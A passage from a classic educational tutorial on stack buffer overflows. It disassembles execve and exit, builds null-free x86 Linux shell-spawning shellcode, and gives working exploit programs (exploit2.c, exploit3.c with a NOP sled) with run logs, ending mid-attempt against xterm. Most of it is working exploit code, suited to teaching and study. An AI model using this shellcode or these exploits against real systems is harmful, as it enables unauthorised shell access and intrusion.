  9644.     We copy the value 0x0 (NULL) into the seconds pointer of name[].
  9645.     This is equivalent to:
  9646.  
  9647.     name[1] = NULL;
  9648.  
  9649.     The actual call to execve() starts here.
  9650.  
  9651. 0x8000144 <main+20>:    pushl  $0x0
  9652.  
  9653.     We push the arguments to execve() in reverse order onto the stack.
  9654.     We start with NULL.
  9655.  
  9656. 0x8000146 <main+22>:    leal   0xfffffff8(%ebp),%eax
  9657.  
  9658.     We load the address of name[] into the EAX register.
  9659.  
  9660. 0x8000149 <main+25>:    pushl  %eax
  9661.  
  9662.     We push the address of name[] onto the stack.
  9663.  
  9664. 0x800014a <main+26>:    movl   0xfffffff8(%ebp),%eax
  9665.  
  9666.     We load the address of the string "/bin/sh" into the EAX register.
  9667.  
  9668. 0x800014d <main+29>:    pushl  %eax
  9669.  
  9670.     We push the address of the string "/bin/sh" onto the stack.
  9671.  
  9672. 0x800014e <main+30>:    call   0x80002bc <__execve>
  9673.  
  9674.     Call the library procedure execve().  The call instruction pushes the
  9675.     IP onto the stack.
  9676. ------------------------------------------------------------------------------
  9677.  
  9678.    Now execve().  Keep in mind we are using a Intel based Linux system.  The
  9679. syscall details will change from OS to OS, and from CPU to CPU.  Some will 
  9680. pass the arguments on the stack, others on the registers.  Some use a software
  9681. interrupt to jump to kernel mode, others use a far call.  Linux passes its 
  9682. arguments to the system call on the registers, and uses a software interrupt 
  9683. to jump into kernel mode.
  9684.  
  9685. ------------------------------------------------------------------------------
  9686. 0x80002bc <__execve>:   pushl  %ebp
  9687. 0x80002bd <__execve+1>: movl   %esp,%ebp
  9688. 0x80002bf <__execve+3>: pushl  %ebx
  9689.  
  9690.     The procedure prelude.
  9691.  
  9692. 0x80002c0 <__execve+4>: movl   $0xb,%eax
  9693.  
  9694.     Copy 0xb (11 decimal) onto the stack. This is the index into the
  9695.     syscall table.  11 is execve.
  9696.  
  9697. 0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx
  9698.  
  9699.     Copy the address of "/bin/sh" into EBX.
  9700.  
  9701. 0x80002c8 <__execve+12>:        movl   0xc(%ebp),%ecx
  9702.  
  9703.     Copy the address of name[] into ECX.
  9704.  
  9705. 0x80002cb <__execve+15>:        movl   0x10(%ebp),%edx
  9706.  
  9707.     Copy the address of the null pointer into %edx.
  9708.  
  9709. 0x80002ce <__execve+18>:        int    $0x80
  9710.  
  9711.     Change into kernel mode.
  9712. ------------------------------------------------------------------------------
  9713.  
  9714. So as we can see there is not much to the execve() system call.  All we need
  9715. to do is:
  9716.  
  9717.     a) Have the null terminated string "/bin/sh" somewhere in memory.
  9718.     b) Have the address of the string "/bin/sh" somewhere in memory
  9719.        followed by a null long word.
  9720.     c) Copy 0xb into the EAX register.
  9721.     d) Copy the address of the address of the string "/bin/sh" into the
  9722.        EBX register.
  9723.     e) Copy the address of the string "/bin/sh" into the ECX register.
  9724.     f) Copy the address of the null long word into the EDX register.
  9725.     g) Execute the int $0x80 instruction.
  9726.  
  9727.    But what if the execve() call fails for some reason?  The program will
  9728. continue fetching instructions from the stack, which may contain random data!
  9729. The program will most likely core dump.  We want the program to exit cleanly
  9730. if the execve syscall fails.  To accomplish this we must then add a exit
  9731. syscall after the execve syscall.  What does the exit syscall looks like?
  9732.  
  9733. exit.c
  9734. ------------------------------------------------------------------------------
  9735. #include <stdlib.h>
  9736.  
  9737. void main() {
  9738.         exit(0);
  9739. }
  9740. ------------------------------------------------------------------------------
  9741.  
  9742. ------------------------------------------------------------------------------
  9743. [aleph1]$ gcc -o exit -static exit.c
  9744. [aleph1]$ gdb exit
  9745. GDB is free software and you are welcome to distribute copies of it
  9746.  under certain conditions; type "show copying" to see the conditions.
  9747. There is absolutely no warranty for GDB; type "show warranty" for details.
  9748. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
  9749. (no debugging symbols found)...
  9750. (gdb) disassemble _exit
  9751. Dump of assembler code for function _exit:
  9752. 0x800034c <_exit>:      pushl  %ebp
  9753. 0x800034d <_exit+1>:    movl   %esp,%ebp
  9754. 0x800034f <_exit+3>:    pushl  %ebx
  9755. 0x8000350 <_exit+4>:    movl   $0x1,%eax
  9756. 0x8000355 <_exit+9>:    movl   0x8(%ebp),%ebx
  9757. 0x8000358 <_exit+12>:   int    $0x80
  9758. 0x800035a <_exit+14>:   movl   0xfffffffc(%ebp),%ebx
  9759. 0x800035d <_exit+17>:   movl   %ebp,%esp
  9760. 0x800035f <_exit+19>:   popl   %ebp
  9761. 0x8000360 <_exit+20>:   ret
  9762. 0x8000361 <_exit+21>:   nop
  9763. 0x8000362 <_exit+22>:   nop
  9764. 0x8000363 <_exit+23>:   nop
  9765. End of assembler dump.
  9766. ------------------------------------------------------------------------------
  9767.  
  9768.    The exit syscall will place 0x1 in EAX, place the exit code in EBX,
  9769. and execute "int 0x80".  That's it.  Most applications return 0 on exit to
  9770. indicate no errors.  We will place 0 in EBX.  Our list of steps is now:
  9771.  
  9772.     a) Have the null terminated string "/bin/sh" somewhere in memory.
  9773.     b) Have the address of the string "/bin/sh" somewhere in memory
  9774.        followed by a null long word.
  9775.     c) Copy 0xb into the EAX register.
  9776.     d) Copy the address of the address of the string "/bin/sh" into the
  9777.        EBX register.
  9778.     e) Copy the address of the string "/bin/sh" into the ECX register.
  9779.     f) Copy the address of the null long word into the EDX register.
  9780.     g) Execute the int $0x80 instruction.
  9781.     h) Copy 0x1 into the EAX register.
  9782.     i) Copy 0x0 into the EBX register.
  9783.     j) Execute the int $0x80 instruction.
  9784.  
  9785.    Trying to put this together in assembly language, placing the string
  9786. after the code, and remembering we will place the address of the string,
  9787. and null word after the array, we have:
  9788.  
  9789. ------------------------------------------------------------------------------
  9790.         movl   string_addr,string_addr_addr
  9791.     movb   $0x0,null_byte_addr
  9792.         movl   $0x0,null_addr
  9793.         movl   $0xb,%eax
  9794.         movl   string_addr,%ebx
  9795.         leal   string_addr,%ecx
  9796.         leal   null_string,%edx
  9797.         int    $0x80
  9798.         movl   $0x1, %eax
  9799.         movl   $0x0, %ebx
  9800.     int    $0x80
  9801.         /bin/sh string goes here.
  9802. ------------------------------------------------------------------------------
  9803.  
  9804.    The problem is that we don't know where in the memory space of the 
  9805. program we are trying to exploit the code (and the string that follows 
  9806. it) will be placed.  One way around it is to use a JMP, and a CALL 
  9807. instruction.  The JMP and CALL instructions can use IP relative addressing, 
  9808. which means we can jump to an offset from the current IP without needing 
  9809. to know the exact address of where in memory we want to jump to.  If we 
  9810. place a CALL instruction right before the "/bin/sh" string, and a JMP 
  9811. instruction to it, the strings address will be pushed onto the stack as 
  9812. the return address when CALL is executed.  All we need then is to copy the 
  9813. return address into a register.  The CALL instruction can simply call the 
  9814. start of our code above.  Assuming now that J stands for the JMP instruction,
  9815. C for the CALL instruction, and s for the string,  the execution flow would 
  9816. now be:
  9817.  
  9818.  
  9819. bottom of  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     top of
  9820. memory     89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     memory
  9821.            buffer                sfp   ret   a     b     c
  9822.  
  9823. <------   [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
  9824.            ^|^             ^|            |
  9825.            |||_____________||____________| (1)
  9826.        (2)  ||_____________||
  9827.              |______________| (3)
  9828. top of                                                            bottom of
  9829. stack                                                                 stack
  9830.  
  9831.  
  9832.  
  9833.    With this modifications, using indexed addressing, and writing down how
  9834. many bytes each instruction takes our code looks like:
  9835.  
  9836. ------------------------------------------------------------------------------
  9837.         jmp    offset-to-call           # 2 bytes
  9838.         popl   %esi                     # 1 byte
  9839.         movl   %esi,array-offset(%esi)  # 3 bytes
  9840.         movb   $0x0,nullbyteoffset(%esi)# 4 bytes
  9841.         movl   $0x0,null-offset(%esi)   # 7 bytes
  9842.         movl   $0xb,%eax                # 5 bytes
  9843.         movl   %esi,%ebx                # 2 bytes
  9844.         leal   array-offset,(%esi),%ecx # 3 bytes
  9845.         leal   null-offset(%esi),%edx   # 3 bytes
  9846.         int    $0x80                    # 2 bytes
  9847.         movl   $0x1, %eax        # 5 bytes
  9848.         movl   $0x0, %ebx        # 5 bytes
  9849.     int    $0x80            # 2 bytes
  9850.         call   offset-to-popl           # 5 bytes
  9851.         /bin/sh string goes here.
  9852. ------------------------------------------------------------------------------
  9853.  
  9854.    Calculating the offsets from jmp to call, from call to popl, from
  9855. the string address to the array, and from the string address to the null
  9856. long word, we now have:
  9857.  
  9858. ------------------------------------------------------------------------------
  9859.         jmp    0x26                     # 2 bytes
  9860.         popl   %esi                     # 1 byte
  9861.         movl   %esi,0x8(%esi)           # 3 bytes
  9862.         movb   $0x0,0x7(%esi)        # 4 bytes
  9863.         movl   $0x0,0xc(%esi)           # 7 bytes
  9864.         movl   $0xb,%eax                # 5 bytes
  9865.         movl   %esi,%ebx                # 2 bytes
  9866.         leal   0x8(%esi),%ecx           # 3 bytes
  9867.         leal   0xc(%esi),%edx           # 3 bytes
  9868.         int    $0x80                    # 2 bytes
  9869.         movl   $0x1, %eax        # 5 bytes
  9870.         movl   $0x0, %ebx        # 5 bytes
  9871.     int    $0x80            # 2 bytes
  9872.         call   -0x2b                    # 5 bytes
  9873.         .string \"/bin/sh\"        # 8 bytes
  9874. ------------------------------------------------------------------------------
  9875.  
  9876.    Looks good. To make sure it works correctly we must compile it and run it.
  9877. But there is a problem.  Our code modifies itself, but most operating system
  9878. mark code pages read-only.  To get around this restriction we must place the
  9879. code we wish to execute in the stack or data segment, and transfer control
  9880. to it.  To do so we will place our code in a global array in the data
  9881. segment.  We need first a hex representation of the binary code. Lets
  9882. compile it first, and then use gdb to obtain it.
  9883.  
  9884. shellcodeasm.c
  9885. ------------------------------------------------------------------------------
  9886. void main() {
  9887. __asm__("
  9888.         jmp    0x2a                     # 3 bytes
  9889.         popl   %esi                     # 1 byte
  9890.         movl   %esi,0x8(%esi)           # 3 bytes
  9891.         movb   $0x0,0x7(%esi)           # 4 bytes
  9892.         movl   $0x0,0xc(%esi)           # 7 bytes
  9893.         movl   $0xb,%eax                # 5 bytes
  9894.         movl   %esi,%ebx                # 2 bytes
  9895.         leal   0x8(%esi),%ecx           # 3 bytes
  9896.         leal   0xc(%esi),%edx           # 3 bytes
  9897.         int    $0x80                    # 2 bytes
  9898.         movl   $0x1, %eax               # 5 bytes
  9899.         movl   $0x0, %ebx               # 5 bytes
  9900.         int    $0x80                    # 2 bytes
  9901.         call   -0x2f                    # 5 bytes
  9902.         .string \"/bin/sh\"             # 8 bytes
  9903. ");
  9904. }
  9905. ------------------------------------------------------------------------------
  9906.  
  9907. ------------------------------------------------------------------------------
  9908. [aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
  9909. [aleph1]$ gdb shellcodeasm
  9910. GDB is free software and you are welcome to distribute copies of it
  9911.  under certain conditions; type "show copying" to see the conditions.
  9912. There is absolutely no warranty for GDB; type "show warranty" for details.
  9913. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
  9914. (gdb) disassemble main
  9915. Dump of assembler code for function main:
  9916. 0x8000130 <main>:       pushl  %ebp
  9917. 0x8000131 <main+1>:     movl   %esp,%ebp
  9918. 0x8000133 <main+3>:     jmp    0x800015f <main+47>
  9919. 0x8000135 <main+5>:     popl   %esi
  9920. 0x8000136 <main+6>:     movl   %esi,0x8(%esi)
  9921. 0x8000139 <main+9>:     movb   $0x0,0x7(%esi)
  9922. 0x800013d <main+13>:    movl   $0x0,0xc(%esi)
  9923. 0x8000144 <main+20>:    movl   $0xb,%eax
  9924. 0x8000149 <main+25>:    movl   %esi,%ebx
  9925. 0x800014b <main+27>:    leal   0x8(%esi),%ecx
  9926. 0x800014e <main+30>:    leal   0xc(%esi),%edx
  9927. 0x8000151 <main+33>:    int    $0x80
  9928. 0x8000153 <main+35>:    movl   $0x1,%eax
  9929. 0x8000158 <main+40>:    movl   $0x0,%ebx
  9930. 0x800015d <main+45>:    int    $0x80
  9931. 0x800015f <main+47>:    call   0x8000135 <main+5>
  9932. 0x8000164 <main+52>:    das
  9933. 0x8000165 <main+53>:    boundl 0x6e(%ecx),%ebp
  9934. 0x8000168 <main+56>:    das
  9935. 0x8000169 <main+57>:    jae    0x80001d3 <__new_exitfn+55>
  9936. 0x800016b <main+59>:    addb   %cl,0x55c35dec(%ecx)
  9937. End of assembler dump.
  9938. (gdb) x/bx main+3
  9939. 0x8000133 <main+3>:     0xeb
  9940. (gdb)
  9941. 0x8000134 <main+4>:     0x2a
  9942. (gdb)
  9943. .
  9944. .
  9945. .
  9946. ------------------------------------------------------------------------------
  9947.  
  9948. testsc.c
  9949. ------------------------------------------------------------------------------
  9950. char shellcode[] =
  9951.     "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
  9952.     "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
  9953.     "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
  9954.     "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
  9955.  
  9956. void main() {
  9957.    int *ret;
  9958.  
  9959.    ret = (int *)&ret + 2;
  9960.    (*ret) = (int)shellcode;
  9961.  
  9962. }
  9963. ------------------------------------------------------------------------------
  9964. ------------------------------------------------------------------------------
  9965. [aleph1]$ gcc -o testsc testsc.c
  9966. [aleph1]$ ./testsc
  9967. $ exit
  9968. [aleph1]$
  9969. ------------------------------------------------------------------------------
  9970.  
  9971.    It works! But there is an obstacle.  In most cases we'll be trying to
  9972. overflow a character buffer.  As such any null bytes in our shellcode will be
  9973. considered the end of the string, and the copy will be terminated.  There must
  9974. be no null bytes in the shellcode for the exploit to work.  Let's try to
  9975. eliminate the bytes (and at the same time make it smaller).
  9976.  
  9977.            Problem instruction:                 Substitute with:
  9978.            --------------------------------------------------------
  9979.            movb   $0x0,0x7(%esi)                xorl   %eax,%eax
  9980.        molv   $0x0,0xc(%esi)                movb   %eax,0x7(%esi)
  9981.                                                 movl   %eax,0xc(%esi)
  9982.            --------------------------------------------------------
  9983.            movl   $0xb,%eax                     movb   $0xb,%al
  9984.            --------------------------------------------------------
  9985.            movl   $0x1, %eax                    xorl   %ebx,%ebx
  9986.            movl   $0x0, %ebx                    movl   %ebx,%eax
  9987.                                                 inc    %eax
  9988.            --------------------------------------------------------
  9989.  
  9990.    Our improved code:
  9991.  
  9992. shellcodeasm2.c
  9993. ------------------------------------------------------------------------------
  9994. void main() {
  9995. __asm__("
  9996.         jmp    0x1f                     # 2 bytes
  9997.         popl   %esi                     # 1 byte
  9998.         movl   %esi,0x8(%esi)           # 3 bytes
  9999.         xorl   %eax,%eax                # 2 bytes
  10000.     movb   %eax,0x7(%esi)        # 3 bytes
  10001.         movl   %eax,0xc(%esi)           # 3 bytes
  10002.         movb   $0xb,%al                 # 2 bytes
  10003.         movl   %esi,%ebx                # 2 bytes
  10004.         leal   0x8(%esi),%ecx           # 3 bytes
  10005.         leal   0xc(%esi),%edx           # 3 bytes
  10006.         int    $0x80                    # 2 bytes
  10007.         xorl   %ebx,%ebx                # 2 bytes
  10008.         movl   %ebx,%eax                # 2 bytes
  10009.         inc    %eax                     # 1 bytes
  10010.         int    $0x80                    # 2 bytes
  10011.         call   -0x24                    # 5 bytes
  10012.         .string \"/bin/sh\"             # 8 bytes
  10013.                     # 46 bytes total
  10014. ");
  10015. }
  10016. ------------------------------------------------------------------------------
  10017.  
  10018.    And our new test program:
  10019.  
  10020. testsc2.c
  10021. ------------------------------------------------------------------------------
  10022. char shellcode[] =
  10023.     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  10024.     "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  10025.     "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  10026.  
  10027. void main() {
  10028.    int *ret;
  10029.  
  10030.    ret = (int *)&ret + 2;
  10031.    (*ret) = (int)shellcode;
  10032.  
  10033. }
  10034. ------------------------------------------------------------------------------
  10035. ------------------------------------------------------------------------------
  10036. [aleph1]$ gcc -o testsc2 testsc2.c
  10037. [aleph1]$ ./testsc2
  10038. $ exit
  10039. [aleph1]$
  10040. ------------------------------------------------------------------------------
  10041.  
  10042.  
  10043.                               Writing an Exploit
  10044.                               ~~~~~~~~~~~~~~~~~~
  10045.                           (or how to mung the stack)
  10046.                           ~~~~~~~~~~~~~~~~~~~~~~~~~~
  10047.  
  10048.  
  10049.    Lets try to pull all our pieces together.  We have the shellcode.  We know
  10050. it must be part of the string which we'll use to overflow the buffer.  We 
  10051. know we must point the return address back into the buffer.  This example will
  10052. demonstrate these points:
  10053.  
  10054. overflow1.c
  10055. ------------------------------------------------------------------------------
  10056. char shellcode[] =
  10057.         "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  10058.         "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  10059.         "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  10060.  
  10061. char large_string[128];
  10062.  
  10063. void main() {
  10064.   char buffer[96];
  10065.   int i;
  10066.   long *long_ptr = (long *) large_string;
  10067.  
  10068.   for (i = 0; i < 32; i++)
  10069.     *(long_ptr + i) = (int) buffer;
  10070.  
  10071.   for (i = 0; i < strlen(shellcode); i++)
  10072.     large_string[i] = shellcode[i];
  10073.  
  10074.   strcpy(buffer,large_string);
  10075. }
  10076. ------------------------------------------------------------------------------
  10077.  
  10078. ------------------------------------------------------------------------------
  10079. [aleph1]$ gcc -o exploit1 exploit1.c
  10080. [aleph1]$ ./exploit1
  10081. $ exit
  10082. exit
  10083. [aleph1]$
  10084. ------------------------------------------------------------------------------
  10085.  
  10086.    What we have done above is filled the array large_string[] with the
  10087. address of buffer[], which is where our code will be.  Then we copy our
  10088. shellcode into the beginning of the large_string string.  strcpy() will then
  10089. copy large_string onto buffer without doing any bounds checking, and will
  10090. overflow the return address, overwriting it with the address where our code
  10091. is now located.  Once we reach the end of main and it tried to return it
  10092. jumps to our code, and execs a shell.
  10093.  
  10094.    The problem we are faced when trying to overflow the buffer of another
  10095. program is trying to figure out at what address the buffer (and thus our
  10096. code) will be.  The answer is that for every program the stack will
  10097. start at the same address.  Most programs do not push more than a few hundred
  10098. or a few thousand bytes into the stack at any one time.  Therefore by knowing
  10099. where the stack starts we can try to guess where the buffer we are trying to
  10100. overflow will be.  Here is a little program that will print its stack
  10101. pointer:
  10102.  
  10103. sp.c
  10104. ------------------------------------------------------------------------------
  10105. unsigned long get_sp(void) {
  10106.    __asm__("movl %esp,%eax");
  10107. }
  10108. void main() {
  10109.   printf("0x%x\n", get_sp());
  10110. }
  10111. ------------------------------------------------------------------------------
  10112.  
  10113. ------------------------------------------------------------------------------
  10114. [aleph1]$ ./sp
  10115. 0x8000470
  10116. [aleph1]$
  10117. ------------------------------------------------------------------------------
  10118.  
  10119.    Lets assume this is the program we are trying to overflow is:
  10120.  
  10121. vulnerable.c
  10122. ------------------------------------------------------------------------------
  10123. void main(int argc, char *argv[]) {
  10124.   char buffer[512];
  10125.  
  10126.   if (argc > 1)
  10127.     strcpy(buffer,argv[1]);
  10128. }
  10129. ------------------------------------------------------------------------------
  10130.  
  10131.    We can create a program that takes as a parameter a buffer size, and an
  10132. offset from its own stack pointer (where we believe the buffer we want to
  10133. overflow may live).  We'll put the overflow string in an environment variable
  10134. so it is easy to manipulate:
  10135.  
  10136. exploit2.c
  10137. ------------------------------------------------------------------------------
  10138. #include <stdlib.h>
  10139.  
  10140. #define DEFAULT_OFFSET                    0
  10141. #define DEFAULT_BUFFER_SIZE             512
  10142.  
  10143. char shellcode[] =
  10144.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  10145.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  10146.   "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  10147.  
  10148. unsigned long get_sp(void) {
  10149.    __asm__("movl %esp,%eax");
  10150. }
  10151.  
  10152. void main(int argc, char *argv[]) {
  10153.   char *buff, *ptr;
  10154.   long *addr_ptr, addr;
  10155.   int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  10156.   int i;
  10157.  
  10158.   if (argc > 1) bsize  = atoi(argv[1]);
  10159.   if (argc > 2) offset = atoi(argv[2]);
  10160.  
  10161.   if (!(buff = malloc(bsize))) {
  10162.     printf("Can't allocate memory.\n");
  10163.     exit(0);
  10164.   }
  10165.  
  10166.   addr = get_sp() - offset;
  10167.   printf("Using address: 0x%x\n", addr);
  10168.  
  10169.   ptr = buff;
  10170.   addr_ptr = (long *) ptr;
  10171.   for (i = 0; i < bsize; i+=4)
  10172.     *(addr_ptr++) = addr;
  10173.  
  10174.   ptr += 4;
  10175.   for (i = 0; i < strlen(shellcode); i++)
  10176.     *(ptr++) = shellcode[i];
  10177.  
  10178.   buff[bsize - 1] = '\0';
  10179.  
  10180.   memcpy(buff,"EGG=",4);
  10181.   putenv(buff);
  10182.   system("/bin/bash");
  10183. }
  10184. ------------------------------------------------------------------------------
  10185.  
  10186.    Now we can try to guess what the buffer and offset should be:
  10187.  
  10188. ------------------------------------------------------------------------------
  10189. [aleph1]$ ./exploit2 500
  10190. Using address: 0xbffffdb4
  10191. [aleph1]$ ./vulnerable $EGG
  10192. [aleph1]$ exit
  10193. [aleph1]$ ./exploit2 600
  10194. Using address: 0xbffffdb4
  10195. [aleph1]$ ./vulnerable $EGG
  10196. Illegal instruction
  10197. [aleph1]$ exit
  10198. [aleph1]$ ./exploit2 600 100
  10199. Using address: 0xbffffd4c
  10200. [aleph1]$ ./vulnerable $EGG
  10201. Segmentation fault
  10202. [aleph1]$ exit
  10203. [aleph1]$ ./exploit2 600 200
  10204. Using address: 0xbffffce8
  10205. [aleph1]$ ./vulnerable $EGG
  10206. Segmentation fault
  10207. [aleph1]$ exit
  10208. .
  10209. .
  10210. .
  10211. [aleph1]$ ./exploit2 600 1564
  10212. Using address: 0xbffff794
  10213. [aleph1]$ ./vulnerable $EGG
  10214. $
  10215. ------------------------------------------------------------------------------
  10216.  
  10217.    As we can see this is not an efficient process.  Trying to guess the
  10218. offset even while knowing where the beginning of the stack lives is nearly
  10219. impossible.  We would need at best a hundred tries, and at worst a couple of
  10220. thousand.  The problem is we need to guess *exactly* where the address of our 
  10221. code will start.  If we are off by one byte more or less we will just get a
  10222. segmentation violation or a invalid instruction.  One way to increase our
  10223. chances is to pad the front of our overflow buffer with NOP instructions.
  10224. Almost all processors have a NOP instruction that performs a null operation.
  10225. It is usually used to delay execution for purposes of timing.  We will take
  10226. advantage of it and fill half of our overflow buffer with them.  We will place
  10227. our shellcode at the center, and then follow it with the return addresses. If
  10228. we are lucky and the return address points anywhere in the string of NOPs,
  10229. they will just get executed until they reach our code.  In the Intel
  10230. architecture the NOP instruction is one byte long and it translates to 0x90
  10231. in machine code.  Assuming the stack starts at address 0xFF, that S stands for
  10232. shell code, and that N stands for a NOP instruction the new stack would look
  10233. like this:
  10234.  
  10235. bottom of  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     top of
  10236. memory     89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     memory
  10237.            buffer                sfp   ret   a     b     c
  10238.  
  10239. <------   [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
  10240.                  ^                     |
  10241.                  |_____________________|
  10242. top of                                                            bottom of
  10243. stack                                                                 stack
  10244.  
  10245.    The new exploits is then:
  10246.  
  10247. exploit3.c
  10248. ------------------------------------------------------------------------------
  10249. #include <stdlib.h>
  10250.  
  10251. #define DEFAULT_OFFSET                    0
  10252. #define DEFAULT_BUFFER_SIZE             512
  10253. #define NOP                            0x90
  10254.  
  10255. char shellcode[] =
  10256.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  10257.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  10258.   "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  10259.  
  10260. unsigned long get_sp(void) {
  10261.    __asm__("movl %esp,%eax");
  10262. }
  10263.  
  10264. void main(int argc, char *argv[]) {
  10265.   char *buff, *ptr;
  10266.   long *addr_ptr, addr;
  10267.   int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  10268.   int i;
  10269.  
  10270.   if (argc > 1) bsize  = atoi(argv[1]);
  10271.   if (argc > 2) offset = atoi(argv[2]);
  10272.  
  10273.   if (!(buff = malloc(bsize))) {
  10274.     printf("Can't allocate memory.\n");
  10275.     exit(0);
  10276.   }
  10277.  
  10278.   addr = get_sp() - offset;
  10279.   printf("Using address: 0x%x\n", addr);
  10280.  
  10281.   ptr = buff;
  10282.   addr_ptr = (long *) ptr;
  10283.   for (i = 0; i < bsize; i+=4)
  10284.     *(addr_ptr++) = addr;
  10285.  
  10286.   for (i = 0; i < bsize/2; i++)
  10287.     buff[i] = NOP;
  10288.  
  10289.   ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  10290.   for (i = 0; i < strlen(shellcode); i++)
  10291.     *(ptr++) = shellcode[i];
  10292.  
  10293.   buff[bsize - 1] = '\0';
  10294.  
  10295.   memcpy(buff,"EGG=",4);
  10296.   putenv(buff);
  10297.   system("/bin/bash");
  10298. }
  10299. ------------------------------------------------------------------------------
  10300.  
  10301.    A good selection for our buffer size is about 100 bytes more than the size
  10302. of the buffer we are trying to overflow.  This will place our code at the end
  10303. of the buffer we are trying to overflow, giving a lot of space for the NOPs,
  10304. but still overwriting the return address with the address we guessed.  The
  10305. buffer we are trying to overflow is 512 bytes long, so we'll use 612.  Let's
  10306. try to overflow our test program with our new exploit:
  10307.  
  10308. ------------------------------------------------------------------------------
  10309. [aleph1]$ ./exploit3 612
  10310. Using address: 0xbffffdb4
  10311. [aleph1]$ ./vulnerable $EGG
  10312. $
  10313. ------------------------------------------------------------------------------
  10314.  
  10315.    Whoa!  First try!  This change has improved our chances a hundredfold. 
  10316. Let's try it now on a real case of a buffer overflow.  We'll use for our
  10317. demonstration the buffer overflow on the Xt library.  For our example, we'll 
  10318. use xterm (all programs linked with the Xt library are vulnerable). You must
  10319. be running an X server and allow connections to it from the localhost.  Set
  10320. your DISPLAY variable accordingly.
  10321.  
  10322. ------------------------------------------------------------------------------
  10323. [aleph1]$ export DISPLAY=:0.0
  10324. [aleph1]$ ./exploit3 1124
  10325. Using address: 0xbffffdb4
  10326. [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
  10327. Warning: Color name "Î^1§FF
  10328.                            ∞
  10329.                             ÛV
  10330.  
  10331. §1§ÿ@§Ë‹ˇˇˇ/bin/sh§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§
  10332.  
  10333.  
  10334.  
  10335.  
  10336.  
  10337.  
  10338.  
  10339.  
  10340. ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§
  10341.  
  10342.  
  10343.  
  10344.  
  10345.  
  10346.  
  10347.  
  10348.  
  10349. §ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇø§§ˇˇø§§ˇø§§ˇø§§ˇø§§
  10350. ^C
  10351. [aleph1]$ exit
  10352. [aleph1]$ ./exploit3 2148 100
  10353. Using address: 0xbffffd48
  10354. [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
  10355. Warning: Color name "Î^1§FF
  10356.                            ∞
  10357.                             ÛV
  10358.  
